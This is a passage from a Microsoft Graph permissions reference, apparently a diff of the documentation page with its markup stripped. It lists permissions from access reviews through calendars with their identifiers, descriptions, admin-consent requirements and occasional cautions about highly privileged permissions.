    Identifier18228521-a591-40f1-b215-5fad4488c1175af8c3f5-baca-439a-97b0-ea58a435e269
    DisplayTextManage access reviews for group and app membershipsManage access reviews for group and app memberships
    DescriptionAllows the app to read, update, delete and perform actions on access reviews, reviewers, decisions and settings in the organization for group and app memberships, without a signed-in user.Allows the app to read, update, delete and perform actions on access reviews, reviewers, decisions and settings for group and app memberships that the signed-in user has access to in the organization.
    AdminConsentRequiredYesYes
    +
    +

    Acronym.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier8c0aed2c-0c61-433d-b63c-6370ddc732489084c10f-a2d6-4713-8732-348def50fe02
    DisplayTextRead all acronymsRead all acronyms that the user can access
    DescriptionAllows an app to read all acronyms without a signed-in user.Allows an app to read all acronyms that the signed-in user can access.
    AdminConsentRequiredYesNo
    +
    +

    AdministrativeUnit.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier134fd756-38ce-4afd-ba33-e9623dbe66c23361d15d-be43-4de6-b441-3c746d05163d
    DisplayTextRead all administrative unitsRead administrative units
    DescriptionAllows the app to read administrative units and administrative unit membership without a signed-in user.Allows the app to read administrative units and administrative unit membership on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    AdministrativeUnit.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier5eb59dd3-1da2-4329-8733-9dabdc4359167b8a2d34-6b3f-4542-a343-54651608ad81
    DisplayTextRead and write all administrative unitsRead and write administrative units
    DescriptionAllows the app to create, read, update, and delete administrative units and manage administrative unit membership without a signed-in user.Allows the app to create, read, update, and delete administrative units and manage administrative unit membership on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Agreement.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier2f3e6f8c-093b-4c57-a58b-ba5ce494a169af2819c9-df71-4dd3-ade7-4d7c9dc653b7
    DisplayTextRead all terms of use agreementsRead all terms of use agreements
    DescriptionAllows the app to read terms of use agreements, without a signed in user.Allows the app to read terms of use agreements on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Agreement.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierc9090d00-6101-42f0-a729-c41074260d47ef4b5d93-3104-4664-9053-a5c49ab44218
    DisplayTextRead and write all terms of use agreementsRead and write all terms of use agreements
    DescriptionAllows the app to read and write terms of use agreements, without a signed in user.Allows the app to read and write terms of use agreements on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    AgreementAcceptance.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-0b7643bb-5336-476f-80b5-18fbfbc91806
    DisplayText-Read user terms of use acceptance statuses
    Description-Allows the app to read terms of use acceptance statuses on behalf of the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    AgreementAcceptance.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierd8e4ec18-f6c0-4620-8122-c8b1f2bf400ea66a5341-e66e-4897-9d52-c2df58c2bfb9
    DisplayTextRead all terms of use acceptance statusesRead terms of use acceptance statuses that user can access
    DescriptionAllows the app to read terms of use acceptance statuses, without a signed in user.Allows the app to read terms of use acceptance statuses on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Analytics.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-e03cf23f-8056-446a-8994-7d93dfc8b50e
    DisplayText-Read user activity statistics
    Description-Allows the app to read the signed-in user's activity statistics, such as how much time the user has spent on emails, in meetings, or in chat sessions.
    AdminConsentRequired-No
    +
    +

    APIConnectors.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierb86848a7-d5b1-41eb-a9b4-54a4e6306e971b6ff35f-31df-4332-8571-d31ea5a4893f
    DisplayTextRead API connectors for authentication flowsRead API connectors for authentication flows
    DescriptionAllows the app to read the API connectors used in user authentication flows, without a signed-in user.Allows the app to read the API connectors used in user authentication flows, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    APIConnectors.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier1dfe531a-24a6-4f1b-80f4-7a0dc5a0a171c67b52c5-7c69-48b6-9d48-7b3af3ded914
    DisplayTextRead and write API connectors for authentication flowsRead and write API connectors for authentication flows
    DescriptionAllows the app to read, create and manage the API connectors used in user authentication flows, without a signed-in user.Allows the app to read, create and manage the API connectors used in user authentication flows, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    AppCatalog.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiere12dae10-5a57-4817-b79d-dfbec534893088e58d74-d3df-44f3-ad47-e89edf4472e4
    DisplayTextRead all app catalogsRead all app catalogs
    DescriptionAllows the app to read apps in the app catalogs without a signed-in user.Allows the app to read the apps in the app catalogs.
    AdminConsentRequiredYesNo
    +
    +

    AppCatalog.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierdc149144-f292-421e-b185-5953f2e98d7f1ca167d5-1655-44a1-8adf-1414072e1ef9
    DisplayTextRead and write to all app catalogsRead and write to all app catalogs
    DescriptionAllows the app to create, read, update, and delete apps in the app catalogs without a signed-in user.Allows the app to create, read, update, and delete apps in the app catalogs.
    AdminConsentRequiredYesYes
    +
    +

    AppCatalog.Submit

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-3db89e36-7fa6-4012-b281-85f3d9d9fd2e
    DisplayText-Submit application packages to the catalog and cancel pending submissions
    Description-Allows the app to submit application packages to the catalog and cancel submissions that are pending review on behalf of the signed-in user.
    AdminConsentRequired-No
    +
    +

    AppCertTrustConfiguration.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-af281d3a-030d-4122-886e-146fb30a0413
    DisplayText-Read the trusted certificate authority configuration for applications
    Description-Allows the app to read the trusted certificate authority configuration which can be used to restrict application certificates based on their issuing authority, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    AppCertTrustConfiguration.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-4bae2ed4-473e-4841-a493-9829cfd51d48
    DisplayText-Read and write the trusted certificate authority configuration for applications
    Description-Allows the app to create, read, update and delete the trusted certificate authority configuration which can be used to restrict application certificates based on their issuing authority, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    Application.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier9a5d68dd-52b0-4cc2-bd40-abcf44ac3a30c79f8feb-a9db-4090-85f9-90d820caa0eb
    DisplayTextRead all applicationsRead applications
    DescriptionAllows the app to read all applications and service principals without a signed-in user.Allows the app to read applications and service principals on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +

    personal Microsoft accounts The Application.Read.All delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    Application.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9bdfbf15f-ee85-4955-8675-146e8e5296b5
    DisplayTextRead and write all applicationsRead and write all applications
    DescriptionAllows the app to create, read, update and delete applications and service principals without a signed-in user. Does not allow management of consent grants.Allows the app to create, read, update and delete applications and service principals on behalf of the signed-in user. Does not allow management of consent grants.
    AdminConsentRequiredYesYes
    +

    personal Microsoft accounts The Application.ReadWrite.All delegated permission is available for consent in personal Microsoft accounts.

    + +

    Permissions that allow managing credentials, such as Application.ReadWrite.All, allow an application to act as other entities, and use the privileges they were granted. Use caution when granting any of these permissions.

    +
    +

    Application.ReadWrite.OwnedBy

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier18a4783c-866b-4cc7-a460-3d5e5662c884-
    DisplayTextManage apps that this app creates or owns-
    DescriptionAllows the app to create other applications, and fully manage those applications (read, update, update application secrets and delete), without a signed-in user.  It cannot update any apps that it is not an owner of.-
    AdminConsentRequiredYes-
    + +

    The Application.ReadWrite.OwnedBy permission allows the same operations as Application.ReadWrite.All but only on applications and service principals that the calling app is an owner of.

    +

    The Application.ReadWrite.OwnedBy permission allows an app to call GET /applications and GET /servicePrincipals endpoints to list all applications and service principals in the tenant. This scope of access has been allowed for the permission.

    +
    +

    Application-RemoteDesktopConfig.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier3be0012a-cc4e-426b-895b-f9c836bf6381ffa91d43-2ad8-45cc-b592-09caddeb24bb
    DisplayTextRead and write the remote desktop security configuration for all appsRead and write the remote desktop security configuration for apps
    DescriptionAllows the app to read and write the remote desktop security configuration for all apps in your organization, without a signed-in user.Allows the app to read and write other apps' remote desktop security configuration, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    AppRoleAssignment.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier06b708a9-e830-4db3-a914-8e69da51d44f84bccea3-f856-4a8a-967b-dbe0a3d53a64
    DisplayTextManage app permission grants and app role assignmentsManage app permission grants and app role assignments
    DescriptionAllows the app to manage permission grants for application permissions to any API (including Microsoft Graph) and application assignments for any app, without a signed-in user.Allows the app to manage permission grants for application permissions to any API (including Microsoft Graph) and application assignments for any app, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    + +

    Permissions that allow granting authorization, such as AppRoleAssignment.ReadWrite.All, allow an application to grant additional privileges to itself, other applications, or any user. Use caution when granting any of these permissions.

    +
    +

    AttackSimulation.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier93283d0a-6322-4fa8-966b-8c121624760d104a7a4b-ca76-4677-b7e7-2f4bc482f381
    DisplayTextRead attack simulation data of an organizationRead attack simulation data of an organization
    DescriptionAllows the app to read attack simulation and training data for an organization without a signed-in user.Allows the app to read attack simulation and training data for an organization for the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    AttackSimulation.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiere125258e-8c8a-42a8-8f55-ab502afa52f327608d7c-2c66-4cad-a657-951d575f5a60
    DisplayTextRead, create, and update all attack simulation data of an organizationRead, create, and update attack simulation data of an organization
    DescriptionAllows the app to read, create, and update attack simulation and training data for an organization without a signed-in user.Allows the app to read, create, and update attack simulation and training data for an organization for the signed-in user.
    AdminConsentRequiredYesNo
    +
    +

    AuditLog.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierb0afded3-3588-46d8-8b3d-9842eff778dae4c9e354-4dc5-45b8-9e7c-e1393b0b1a20
    DisplayTextRead all audit log dataRead audit log data
    DescriptionAllows the app to read and query your audit log activities, without a signed-in user.Allows the app to read and query your audit log activities, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    AuditLogsQuery.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier5e1e9171-754d-478c-812c-f1755a9a4c2d1d9e7ac3-0eca-442c-82f9-e92625af6e6d
    DisplayTextRead audit logs data from all servicesRead audit logs data from all services
    DescriptionAllows the app to read and query audit logs from all services.Allows the app to read and query audit logs from all services, on behalf of a signed-in user
    AdminConsentRequiredYesYes
    +
    +

    AuditLogsQuery-CRM.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier20e6f8e4-ffac-4cf7-82f7-70ddb7564318ba78b16f-1e01-41b6-89ca-73e0a32b304c
    DisplayTextRead audit logs data from Dynamics CRM workloadRead audit logs data from Dynamics CRM workload
    DescriptionAllows the app to read and query audit logs from Dynamics CRM workload, without a signed-in userAllows the app to read and query audit logs from Dynamics CRM workload, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    AuditLogsQuery-Endpoint.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier0bc85aed-7b0b-437a-bac8-3b29a1b84c99ee3409fe-617f-43cf-bd1e-fc8b38049e69
    DisplayTextRead audit logs data from Endpoint Data Loss Prevention workloadRead audit logs data from Endpoint Data Loss Prevention workload
    DescriptionAllows the app to read and query audit logs from Endpoint Data Loss Prevention workload, without a signed-in userAllows the app to read and query audit logs from Endpoint Data Loss Prevention workload, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    AuditLogsQuery-Entra.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier7276d950-48fc-4269-8348-f22f2bb296d05ff2f415-e0f1-4d11-bfd0-6d87c0f667fd
    DisplayTextRead audit logs data from Entra (Azure AD) workloadRead audit logs data from Entra (Azure AD) workload
    DescriptionAllows the app to read and query audit logs from Entra (Azure AD) workload, without a signed-in userAllows the app to read and query audit logs from Entra (Azure AD) workload, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    AuditLogsQuery-Exchange.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier6b0d2622-d34e-4470-935b-b96550e5ca8d6c8c71d2-c7e1-45b0-ac6d-1d2724fba6ae
    DisplayTextRead audit logs data from Exchange workloadRead audit logs data from Exchange workload
    DescriptionAllows the app to read and query audit logs from Exchange workload, without a signed-in userAllows the app to read and query audit logs from Exchange workload, on behalf of a signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    AuditLogsQuery-OneDrive.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier8a169a81-841c-45fd-ad43-96aede8801a04a72c235-a50d-4870-b598-fd88fd1fa074
    DisplayTextRead audit logs data from OneDrive workloadRead audit logs data from OneDrive workload
    DescriptionAllows the app to read and query audit logs from OneDrive workload, without a signed-in userAllows the app to read and query audit logs from OneDrive workload, on behalf of a signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    AuditLogsQuery-SharePoint.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier91c64a47-a524-4fce-9bf3-3d569a344ecf30630b65-ed12-4a81-9130-e3a964109fae
    DisplayTextRead audit logs data from SharePoint workloadRead audit logs data from SharePoint workload
    DescriptionAllows the app to read and query audit logs from SharePoint workload, without a signed-in userAllows the app to read and query audit logs from SharePoint workload, on behalf of a signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    AuthenticationContext.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier381f742f-e1f8-4309-b4ab-e3d91ae4c5c157b030f1-8c35-469c-b0d9-e4a077debe70
    DisplayTextRead all authentication context informationRead all authentication context information
    DescriptionAllows the app to read the authentication context information in your organization without a signed-in user.Allows the app to read all authentication context information in your organization on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    AuthenticationContext.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiera88eef72-fed0-4bf7-a2a9-f19df33f8b83ba6d575a-1344-4516-b777-1404f5593057
    DisplayTextRead and write all authentication context informationRead and write all authentication context information
    DescriptionAllows the app to read and update the authentication context information in your organization without a signed-in user.Allows the app to read and update all authentication context information in your organization on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    BackupRestore-Configuration.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier5fbb5982-3230-4882-93c0-2167523ce0c2444ed4b6-0554-4dc6-8e9c-3f9a34ee3ff6
    DisplayTextRead all backup configuration policiesRead backup configuration policies
    DescriptionAllows the app to read all backup configurations, and lists of Microsoft 365 service resources to be backed up, without a signed-in user.Allows the app to read the backup configuration, and list of Microsoft 365 service resources to be backed up, on behalf of the signed in user.
    AdminConsentRequiredYesYes
    +
    +

    BackupRestore-Configuration.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier18133149-5489-40ac-80f0-4b6fa85f6cdca0244d16-171c-4496-8ffb-7b9b6954d339
    DisplayTextRead and edit all backup configuration policiesRead and edit backup configuration policies
    DescriptionAllows the app to read and update the backup configuration, and list of Microsoft 365 service resources to be backed up, without a signed-in user.Allows the app to read and update the backup configuration, and list of Microsoft 365 service resources to be backed up, on behalf of the signed in user.
    AdminConsentRequiredYesYes
    +
    +

    BackupRestore-Monitor.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierecae8511-f2d7-4be4-bdbf-91f244d45986b4e98de1-4600-4e90-b5e1-7c1dfef04e5c
    DisplayTextRead all monitoring, quota and billing information for the tenantRead monitoring, quota and billing information for the tenant
    DescriptionAllows the app to monitor all backup and restore jobs, view quota usage and billing details, without a signed-in user.Allows the app to monitor backup and restore jobs, view quota usage and billing details, on behalf of the signed in user.
    AdminConsentRequiredYesYes
    +
    +

    BackupRestore-Restore.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier87853aa5-0372-4710-b34b-cef27bb7156e94b36f78-434f-4904-8c08-421d9a9c1dc2
    DisplayTextRead all restore sessionsRead restore sessions
    DescriptionAllows the app to read all restore sessions, without a signed-in user.Allows the app to read restore sessions, on behalf of the signed in user.
    AdminConsentRequiredYesYes
    +
    +

    BackupRestore-Restore.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierbebd0841-a3d8-4313-a51d-731112c8ee419f89e109-94b9-4c9b-b4fc-98cdaa54f574
    DisplayTextRead restore all sessions and start restore sessions from backupsRead restore sessions and start restore sessions from backups
    DescriptionAllows the app to search all backup snapshots for Microsoft 365 resources, and restore Microsoft 365 resources from a backed-up snapshot, without a signed-in user.Allows the app to search the backup snapshots for Microsoft 365 resources, and restore Microsoft 365 resources from a backed-up snapshot, on behalf of the signed in user.
    AdminConsentRequiredYesYes
    +
    +

    BackupRestore-Search.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierf6135c51-c766-4be1-9638-ed90c2ed24432b24830f-f435-446f-ab5a-b1e70d9a2eb5
    DisplayTextSearch for metadata properties in all backup snapshotsSearch for metadata properties in backup snapshots
    DescriptionAllows the app to search all backup snapshots for Microsoft 365 resources, without a signed-in user.Allows the app to search the backup snapshots for Microsoft 365 resources, on behalf of the signed in user.
    AdminConsentRequiredYesYes
    +
    +

    BillingConfiguration.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier9e8be751-7eee-4c09-bcfd-d64f6b087fd82bf6d319-dfca-4c22-9879-f88dcfaee6be
    DisplayTextRead and write application billing configurationRead and write application billing configuration
    DescriptionAllows the app to read and write the billing configuration on all applications without a signed-in user.Allows the app to read and write the billing configuration on all applications on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    BitlockerKey.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-b27a61ec-b99c-4d6a-b126-c4375d08ae30
    DisplayText-Read BitLocker keys
    Description-Allows the app to read BitLocker keys on behalf of the signed-in user, for their owned devices. Allows read of the recovery key.
    AdminConsentRequired-Yes
    +
    +

    BitlockerKey.ReadBasic.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-5a107bfc-4f00-4e1a-b67e-66451267bc68
    DisplayText-Read BitLocker keys basic information
    Description-Allows the app to read basic BitLocker key properties on behalf of the signed-in user, for their owned devices. Does not allow read of the recovery key itself.
    AdminConsentRequired-Yes
    +
    +

    Bookings.Manage.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-7f36b48e-542f-4d3b-9bcb-8406f0ab9fdb
    DisplayText-Manage bookings information
    Description-Allows an app to read, write and manage bookings appointments, businesses, customers, services, and staff on behalf of the signed-in user.
    AdminConsentRequired-No
    +
    +

    Bookings.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier6e98f277-b046-4193-a4f2-6bf6a78cd49133b1df99-4b29-4548-9339-7a7b83eaeebc
    DisplayTextRead all Bookings related resources.Read bookings information
    DescriptionAllows an app to read Bookings appointments, businesses, customers, services, and staff without a signed-in user.Allows an app to read bookings appointments, businesses, customers, services, and staff on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    +
    +

    Bookings.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-948eb538-f19d-4ec5-9ccc-f059e1ea4c72
    DisplayText-Read and write bookings information
    Description-Allows an app to read and write bookings appointments, businesses, customers, services, and staff on behalf of the signed-in user. Does not allow create, delete and publish of booking businesses.
    AdminConsentRequired-No
    +
    +

    BookingsAppointment.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier9769393e-5a9f-4302-9e3d-7e018ecb64a702a5a114-36a6-46ff-a102-954d89d9ab02
    DisplayTextRead and write all Bookings related resources.Read and write booking appointments
    DescriptionAllows an app to read and write Bookings appointments and customers, and additionally allows reading businesses, services, and staff without a signed-in user.Allows an app to read and write bookings appointments and customers, and additionally allows read businesses information, services, and staff on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    +
    +

    Bookmark.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierbe95e614-8ef3-49eb-8464-1c9503433b8698b17b35-f3b1-4849-a85f-9f13733002f0
    DisplayTextRead all bookmarksRead all bookmarks that the user can access
    DescriptionAllows an app to read all bookmarks without a signed-in user.Allows an app to read all bookmarks that the signed-in user can access.
    AdminConsentRequiredYesNo
    +
    +

    BrowserSiteLists.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierc5ee1f21-fc7f-4937-9af0-c91648ff9597fb9be2b7-a7fc-4182-aec1-eda4597c43d5
    DisplayTextRead all browser site lists for your organizationRead browser site lists for your organization
    DescriptionAllows an app to read all browser site lists configured for your organization, without a signed-in user.Allows an app to read the browser site lists configured for your organization, on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    +
    +

    BrowserSiteLists.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier8349ca94-3061-44d5-9bfb-33774ea5e4f983b34c85-95bf-497b-a04e-b58eca9d49d0
    DisplayTextRead and write all browser site lists for your organizationRead and write browser site lists for your organization
    DescriptionAllows an app to read and write all browser site lists configured for your organization, without a signed-in user.Allows an app to read and write the browser site lists configured for your organization, on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    +
    +

    BusinessScenarioConfig.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-d16480b2-e469-4118-846b-d3d177327bee
    DisplayText-Read business scenario configurations
    Description-Allows the app to read the configurations of your organization's business scenarios, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    BusinessScenarioConfig.Read.OwnedBy

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifieracc0fc4d-2cd6-4194-8700-1768d8423d86c47e7b6e-d6f1-4be9-9ffd-1e00f3e32892
    DisplayTextRead all business scenario configurations this app creates or ownsRead business scenario configurations this app creates or owns
    DescriptionAllows the app to read the configurations of business scenarios it owns, without a signed-in user.Allows the app to read the configurations of business scenarios it owns, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    BusinessScenarioConfig.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-755e785b-b658-446f-bb22-5a46abd029ea
    DisplayText-Read and write business scenario configurations
    Description-Allows the app to read and write the configurations of your organization's business scenarios, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    BusinessScenarioConfig.ReadWrite.OwnedBy

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierbbea195a-4c47-4a4f-bff2-cba399e11698b3b7fcff-b4d4-4230-bf6f-90bd91285395
    DisplayTextRead and write all business scenario configurations this app creates or ownsRead and write business scenario configurations this app creates or owns
    DescriptionAllows the app to create new business scenarios and fully manage the configurations of scenarios it owns, without a signed-in user.Allows the app to create new business scenarios and fully manage the configurations of scenarios it owns, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    BusinessScenarioData.Read.OwnedBy

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier6c0257fd-cffe-415b-8239-2d0d70fdaa9c25b265c4-5d34-4e44-952d-b567f6d3b96d
    DisplayTextRead data for all business scenarios this app creates or ownsRead all data for business scenarios this app creates or owns
    DescriptionAllows the app to read the data associated with the business scenarios it owns, without a signed-in user.Allows the app to read all data associated with the business scenarios it owns. Data access will be attributed to the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    BusinessScenarioData.ReadWrite.OwnedBy

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierf2d21f22-5d80-499e-91cc-0a8a4ce16f5419932d57-2952-4c60-8634-3655c79fc527
    DisplayTextRead and write data for all business scenarios this app creates or ownsRead and write all data for business scenarios this app creates or owns
    DescriptionAllows the app to fully manage the data associated with the business scenarios it owns, without a signed-in user.Allows the app to fully manage all data associated with the business scenarios it owns. Data access and changes will be attributed to the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Calendars.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier798ee544-9d2d-430c-a058-570e29e34338465a38f9-76ea-45b9-9f34-9e8b0d4b0b42
    DisplayTextRead calendars in all mailboxesRead user calendars
    DescriptionAllows the app to read events of all calendars without a signed-in user.Allows the app to read events in user calendars.
    AdminConsentRequiredYesNo
    +

    personal Microsoft accounts The Calendars.Read delegated permission is available for consent in personal Microsoft accounts.

    + +

    Administrators can configure application access policy to limit app access to specific mailboxes and not to all the mailboxes in the organization, even if the app has been granted the Calendars.Read application permission.

    +
    +

    Calendars.Read.Shared

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-2b9c4092-424d-4249-948d-b43879977640
    DisplayText-Read user and shared calendars
    Description-Allows the app to read events in all calendars that the user can access, including delegate and shared calendars.
    AdminConsentRequired-No
    +

    personal Microsoft accounts The Calendars.Read.Shared delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    Calendars.ReadBasic

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-662d75ba-a364-42ad-adee-f5f880ea4878
    DisplayText-Read basic details of user calendars
    Description-Allows the app to read events in user calendars, except for properties such as body, attachments, and extensions.
    AdminConsentRequired-No
    +

    personal Microsoft accounts The Calendars.ReadBasic delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    Calendars.ReadBasic.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier8ba4a692-bc31-4128-9094-475872af8a53-
    DisplayTextRead basic details of calendars in all mailboxes-
    DescriptionAllows the app to read events of all calendars, except for properties such as body, attachments, and extensions, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    Calendars.ReadWrite

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifieref54d2bf-783f-4e0f-bca1-3210c0444d991ec239c2-d7c9-4623-a91a-a9775856bb36
    DisplayTextRead and write calendars in all mailboxesHave full access to user calendars
    DescriptionAllows the app to create, read, update, and delete events of all calendars without a signed-in user.Allows the app to create, read, update, and delete events in user calendars.
    AdminConsentRequiredYesNo
    +

    personal Microsoft accounts The Calendars.ReadWrite delegated permission is available for consent in personal Microsoft accounts.

    + +

    Administrators can configure application access policy to limit app access to specific mailboxes and not to all the mailboxes in the organization, even if the app has been granted the Calendars.ReadWrite application permission.

    +
    +

    Calendars.ReadWrite.Shared

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-12466101-c9b8-439a-8589-dd09ee67e8e9
    DisplayText-Read and write user and shared calendars
    Description-Allows the app to create, read, update and delete events in all calendars in the organization user has permissions to access. This includes delegate and shared calendars.
    AdminConsentRequired-No
    +
    +

    CallEvents.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
